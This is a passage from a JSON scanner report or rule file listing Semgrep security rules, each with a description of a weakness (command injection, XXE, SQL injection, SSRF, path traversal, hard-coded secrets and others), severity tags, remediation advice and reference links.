[https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","id":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","name":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","id":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","name":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File name based on user input risks server-side request forgery."},"help":{"markdown":"File name based on user input risks server-side request forgery.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"File name based on user input risks server-side request forgery."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","id":"php.lang.security.injection.tainted-filename.tainted-filename","name":"php.lang.security.injection.tainted-filename.tainted-filename","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-filename.tainted-filename"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","id":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","name":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"help":{"markdown":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","id":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","name":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"help":{"markdown":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","id":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","name":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","id":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","name":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"help":{"markdown":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning)\n - [https://pytorch.org/docs/stable/data.html#memory-pinning](https://pytorch.org/docs/stable/data.html#memory-pinning)\n","text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"helpUri":"https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","id":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","name":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.automatic-memory-pinning.automatic-memory-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"help":{"markdown":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"helpUri":"https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","id":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","name":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.iterate-over-empty-map.iterate-over-empty-map"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host","id":"php.lang.security.injection.tainted-url-host.tainted-url-host","name":"php.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint","id":"rust.actix.nosql.mongodb-taint.mongodb-taint","name":"rust.actix.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. 